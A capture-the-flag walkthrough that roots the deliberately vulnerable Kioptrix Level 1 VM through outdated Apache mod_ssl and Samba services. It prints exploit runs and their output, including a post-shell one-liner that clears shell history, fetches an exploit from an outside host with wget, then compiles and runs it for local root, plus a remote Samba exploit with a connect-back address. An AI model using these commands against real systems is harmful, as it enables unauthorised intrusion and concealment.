Kioptrix 1 VM can be downloaded here.

Kioptrix series consists of 5 vulnerable machines, every one is slightly harder than the one before. It will give you the chance to identify vulnerable services, use public exploits, and get the feeling of how proper pen testing is done. This machine can be rooted via a few different ways which will be discussed below, yet I will be also listing which attempts failed.

0. Get VM’s IP

root@kali:~# netdiscover -r 192.168.1.0/24  
  
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                    
                                                                                                                  
 260 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 15600                                              
 _____________________________________________________________________________  
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname        
 -----------------------------------------------------------------------------  
...                                  
 **192.168.1.104**   c4:e9:84:10:d3:5e      2     120  TP-LINK TECHNOLOGIES CO.,LTD.                                  
...  

1. Enumeration

1.1 Enumerate services

root@kali:~# nmap -T4 192.168.1.104 -sV -O  
  
Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-11 23:22 EST  
Nmap scan report for 192.168.1.104  
Host is up (0.00013s latency).  
Not shown: 994 closed ports  
PORT     STATE SERVICE     VERSION  
**22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)  
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)  
111/tcp  open  rpcbind     2 (RPC #100000)  
139/tcp  open  netbios-ssn Samba smbd (workgroup: vMYGROUP)  
443/tcp  open  ssl/http    Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)  
1024/tcp open  status      1 (RPC #100024)**  
MAC Address: C4:E9:84:10:D3:5E (Tp-link Technologies)  
Device type: general purpose  
Running: Linux 2.4.X  
OS CPE: cpe:/o:linux:linux_kernel:2.4  
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)  
Network Distance: 1 hop  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 18.46 seconds  

That’s a lot of outdated services! Let’s go over each and find how we can exploit them. Some resources for identifying vulnerabilities and/or finding exploits for known services:

1.2 Enum4Linux

root@kali:~# enum4linux 192.168.1.104  
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Nov 11 23:32:17 2016  
...  
  
 =======================================   
|    OS information on 192.168.1.104    |  
 =======================================   
[+] Got OS info for 192.168.1.104 from smbclient: Domain=[MYGROUP] OS=[Unix] **Server=[Samba 2.2.1a]**  
[+] Got OS info for 192.168.1.104 from srvinfo:  
 KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server  
 platform_id     : 500  
 os version      : 4.5  
 server type     : 0x9a03  
  
...  
   
 ==========================================   
|    Share Enumeration on 192.168.1.104    |  
 ==========================================   
WARNING: The "syslog" option is deprecated  
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]  
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]  
  
 Sharename       Type      Comment  
 ---------       ----      -------  
 IPC$            IPC       IPC Service (Samba Server)  
 ADMIN$          IPC       IPC Service (Samba Server)  
  
 Server               Comment  
 ---------            -------  
 KIOPTRIX             Samba Server  
  
 Workgroup            Master  
 ---------            -------  
 MYGROUP              KIOPTRIX  
 WORKGROUP            ELSAFFA7  
  
[+] Attempting to map shares on 192.168.1.104  
//192.168.1.104/IPC$ [E] Can't understand response:  
WARNING: The "syslog" option is deprecated  
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]  
NT_STATUS_NETWORK_ACCESS_DENIED listing \*  
//192.168.1.104/ADMIN$ [E] Can't understand response:  
WARNING: The "syslog" option is deprecated  
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]  
tree connect failed: NT_STATUS_WRONG_PASSWORD  
  
...  
  
enum4linux complete on Fri Nov 11 23:32:28 2016  
  
root@kali:~# 

enum4linux was able to identify which Samba service was running (2.2.1a), this will help us later!


2. Exploiting OpenSSH (?)

Using existing vulnerabilities

root@kali:~# searchsploit openssh   
---------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------  
 Exploit Title                                                                                                                                      |  Path  
                                                                                                                                                    | (/usr/share/exploitdb/platforms)  
---------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------  
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool                                                                                                   | ./linux/remote/25.c  
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident                                                                                                 | ./linux/remote/26.sh  
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - Exploits                                                                                               | ./linux/local/258.sh  
Dropbear / OpenSSH Server - (MAX_UNAUTH_CLIENTS) Denial of Service                                                                                  | ./multiple/dos/1572.pl  
OpenSSH 4.3 p1 - (Duplicated Block) Remote Denial of Service                                                                                        | ./multiple/dos/2444.sh  
Portable OpenSSH 3.6.1p-PAM / 4.1-SuSE - Timing Attack Exploit                                                                                      | ./multiple/remote/3303.sh  
Debian OpenSSH - Authenticated Remote SELinux Privilege Elevation Exploit                                                                           | ./linux/remote/6094.txt  
Novell Netware 6.5 - OpenSSH Remote Stack Overflow                                                                                                  | ./novell/dos/14866.txt  
FreeBSD OpenSSH 3.5p1 - Remote Root Exploit                                                                                                         | ./freebsd/remote/17462.txt  
OpenSSH 1.2 - '.scp' File Create/Overwrite                                                                                                          | ./linux/remote/20253.sh  
**OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One                                                                                                   | ./unix/remote/21314.txt**  
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow                                                                                          | ./linux/remote/21402.txt  
OpenSSH 3.x - Challenge-Response Buffer Overflow (1)                                                                                                | ./unix/remote/21578.txt  
OpenSSH 3.x - Challenge-Response Buffer Overflow (2)                                                                                                | ./unix/remote/21579.txt  
OpenSSH 7.2p1 - Authenticated xauth Command Injection                                                                                               | ./multiple/remote/39569.py  
OpenSSHd 7.2p2 - Username Enumeration (1)                                                                                                           | ./linux/remote/40113.txt  
OpenSSHd 7.2p2 - Username Enumeration (2)                                                                                                           | ./linux/remote/40136.py  
---------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------  

Although exploit-db revealed a few exploits, almost all of them are not what we seek. Some of them are targeting different versions, others are local exploits (for a limited shell maybe?). One particularly interesting is this one.

After spending some time compiling old openssh version and trying out the exploit, it failed to work as the victim didn’t have the specific misconfiguration targeted.


3. Exploiting Apache (and getting root!)

Searching for apache exploits revealed too many results, but searching for the specific version revealed some juicy data.

root@kali:~# searchsploit apache mod_ssl  
---------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------  
 Exploit Title                                                                                                                                      |  Path  
                                                                                                                                                    | (/usr/share/exploitdb/platforms)  
---------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------  
Apache mod_ssl (< 2.8.7) OpenSSL - 'OpenFuckV2.c' Remote Exploit (2)                                                                                | ./unix/remote/764.c  
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                                                                                          | ./multiple/dos/21575.txt  
Apache mod_ssl (< 2.8.7) OpenSSL - 'OpenFuck.c' Remote Exploit (1)                                                                                  | ./unix/remote/21671.c  
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow Exploit                                                | ./unix/remote/40347.txt  
Apache mod_ssl 2.0.x - Remote Denial of Service                                                                                                     | ./linux/dos/24590.txt  
---------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------  
root@kali:~#   

It both matches Apache’s version (1.3.20) and mod_ssl’s (2.8.4).

To compile it you’ll both need to install libssl-dev and update the script.

Running it without any arguments shows us a long list of valid OS-Apache version combinations. The closest one to our system are the following:

0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2 
root@kali:~# ./a.out 0x6a 192.168.1.104 -c 50  
  
*******************************************************************  
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *  
*******************************************************************  
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *  
* #hackarena  irc.brasnet.org                                     *  
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *  
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *  
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *  
*******************************************************************  
  
Connection... 50 of 50  
Establishing SSL connection  
cipher: 0x4043808c   ciphers: 0x80f81e8  
Ready to send shellcode  
Spawning shell...  
Good Bye!  
root@kali:~# ./a.out 0x6b 192.168.1.104 -c 50  
  
*******************************************************************  
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *  
*******************************************************************  
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *  
* #hackarena  irc.brasnet.org                                     *  
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *  
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *  
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *  
*******************************************************************  
  
Connection... 50 of 50  
Establishing SSL connection  
cipher: 0x4043808c   ciphers: 0x80f81e8  
Ready to send shellcode  
Spawning shell...  
bash: no job control in this shell  
bash-2.05$   
bash-2.05$ unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;   
--01:03:53--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c  
           => `ptrace-kmod.c'  
Connecting to dl.packetstormsecurity.net:80... connected!  
HTTP request sent, awaiting response... 301 Moved Permanently  
Location: https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c [following]  
--01:03:53--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c  
           => `ptrace-kmod.c'  
Connecting to dl.packetstormsecurity.net:443... connected!  
HTTP request sent, awaiting response... 200 OK  
Length: 3,921 [text/x-csrc]  
  
    0K ...                                                   100% @ 957.28 KB/s  
  
01:03:54 (957.28 KB/s) - `ptrace-kmod.c' saved [3921/3921]  
  
[+] Attached to 6225  
[+] Signal caught  
[+] Shellcode placed at 0x4001189d  
[+] Now wait for suid shell...  
whoami  
root  

Let’s check out other ways.


4. Exploiting Samba (and getting root too!)

A quick search for Samba 2.2.1 exploits reveals a couple of interesting
exploits on exploit-db.

Both work, there’s a handful more PoC for this exploit and an MSF module too, I’ll only demonstrate the first exploit.

root@kali:~# wget https://www.exploit-db.com/download/10  
--2016-11-12 00:16:51--  https://www.exploit-db.com/download/10  
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8  
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: unspecified [application/txt]  
Saving to: ‘10’  
  
10                            [ <=>                                 ]  44.06K  --.-KB/s    in 0.1s      
  
2016-11-12 00:16:59 (364 KB/s) - ‘10’ saved [45117]  
  
root@kali:~# mv 10 b.c  
root@kali:~# gcc b.c  
root@kali:~# ./a.out   
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)  
--------------------------------------------------------------  
Usage: ./a.out [-bBcCdfprsStv] [host]  
  
-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)  
-B <step>       bruteforce steps (default = 300)  
-c <ip address> connectback ip address  
-C <max childs> max childs for scan/bruteforce mode (default = 40)  
-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)  
-f              force  
-p <port>       port to attack (default = 139)  
-r <ret>        return address  
-s              scan mode (random)  
-S <network>    scan mode  
-t <type>       presets (0 for a list)  
-v              verbose mode  
  
root@kali:~# ./a.out -b 0 -c 192.168.1.71 -C 40 192.168.1.104  
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)  
--------------------------------------------------------------  
+ Bruteforce mode. (Linux)  
+ Host is running samba.  
+ Worked!  
--------------------------------------------------------------  
*** JE MOET JE MUIL HOUWE  
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown  
uid=0(root) gid=0(root) groups=99(nobody)  

Oh, and here’s our flag:

cat /var/mail/root  
From root  Sat Sep 26 11:42:10 2009  
Return-Path: <root@kioptix.level1>  
Received: (from root@localhost)  
 by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831  
 for root@kioptix.level1; Sat, 26 Sep 2009 11:42:10 -0400  
Date: Sat, 26 Sep 2009 11:42:10 -0400  
From: root <root@kioptix.level1>  
Message-Id: <200909261542.n8QFgAZ01831@kioptix.level1>  
To: root@kioptix.level1  
Subject: About Level 2  
Status: O  
  
If you are reading this, you got root. Congratulations.  
Level 2 won't be as easy...  
  
From root  Sat Nov 12 00:04:37 2016  
Return-Path: <root@kioptrix.level1>  
Received: (from root@localhost)  
 by kioptrix.level1 (8.11.6/8.11.6) id uAC54bQ01088  
 for root; Sat, 12 Nov 2016 00:04:37 -0500  
Date: Sat, 12 Nov 2016 00:04:37 -0500  
From: root <root@kioptrix.level1>  
Message-Id: <201611120504.uAC54bQ01088@kioptrix.level1>  
To: root@kioptrix.level1  
Subject: LogWatch for kioptrix.level1  
  
  
  
 ################## LogWatch 2.1.1 Begin #####################   
  
  
 ---------------- Connections (secure-log) Begin -------------------   
  
**Unmatched Entries**  
Nov 11 23:59:32 kioptrix sshd[745]: Server listening on 0.0.0.0 port 22.  
  
  
 ----------------- Connections (secure-log) End --------------------   
  
  
  
 --------------------- SSHD Begin ------------------------   
  
**Unmatched Entries**  
Starting sshd:  
 succeeded  
  
  
  
 ---------------------- SSHD End -------------------------   
  
  
  
 ###################### LogWatch End #########################   

That was a short one, time to write up Kioptrix2.